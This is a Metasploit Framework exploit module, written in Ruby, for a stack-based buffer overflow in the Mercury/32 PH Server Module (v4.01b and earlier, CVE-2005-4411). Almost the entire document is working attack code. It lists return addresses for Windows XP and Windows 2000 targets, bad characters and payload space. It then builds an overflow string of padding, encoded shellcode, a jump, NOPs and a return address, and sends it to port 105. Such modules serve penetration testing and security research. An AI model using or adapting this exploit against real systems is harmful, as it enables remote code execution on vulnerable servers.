Mercury/32 <= v4.01b PH Server Module Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in  
Mercury/32 <= v4.01b PH Server Module. This issue is  
due to a failure of the application to properly bounds check  
user-supplied data prior to copying it to a fixed size memory buffer.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2005-4411' ],  
[ 'OSVDB', '22103'],  
[ 'BID', '16396' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],  
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'December 19 2005',  
  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(105)], self)  
  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
sploit = rand_text_alphanumeric(224, payload_badchars)  
sploit << payload.encoded + "\xeb\x06" + make_nops(2)  
sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"  
  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`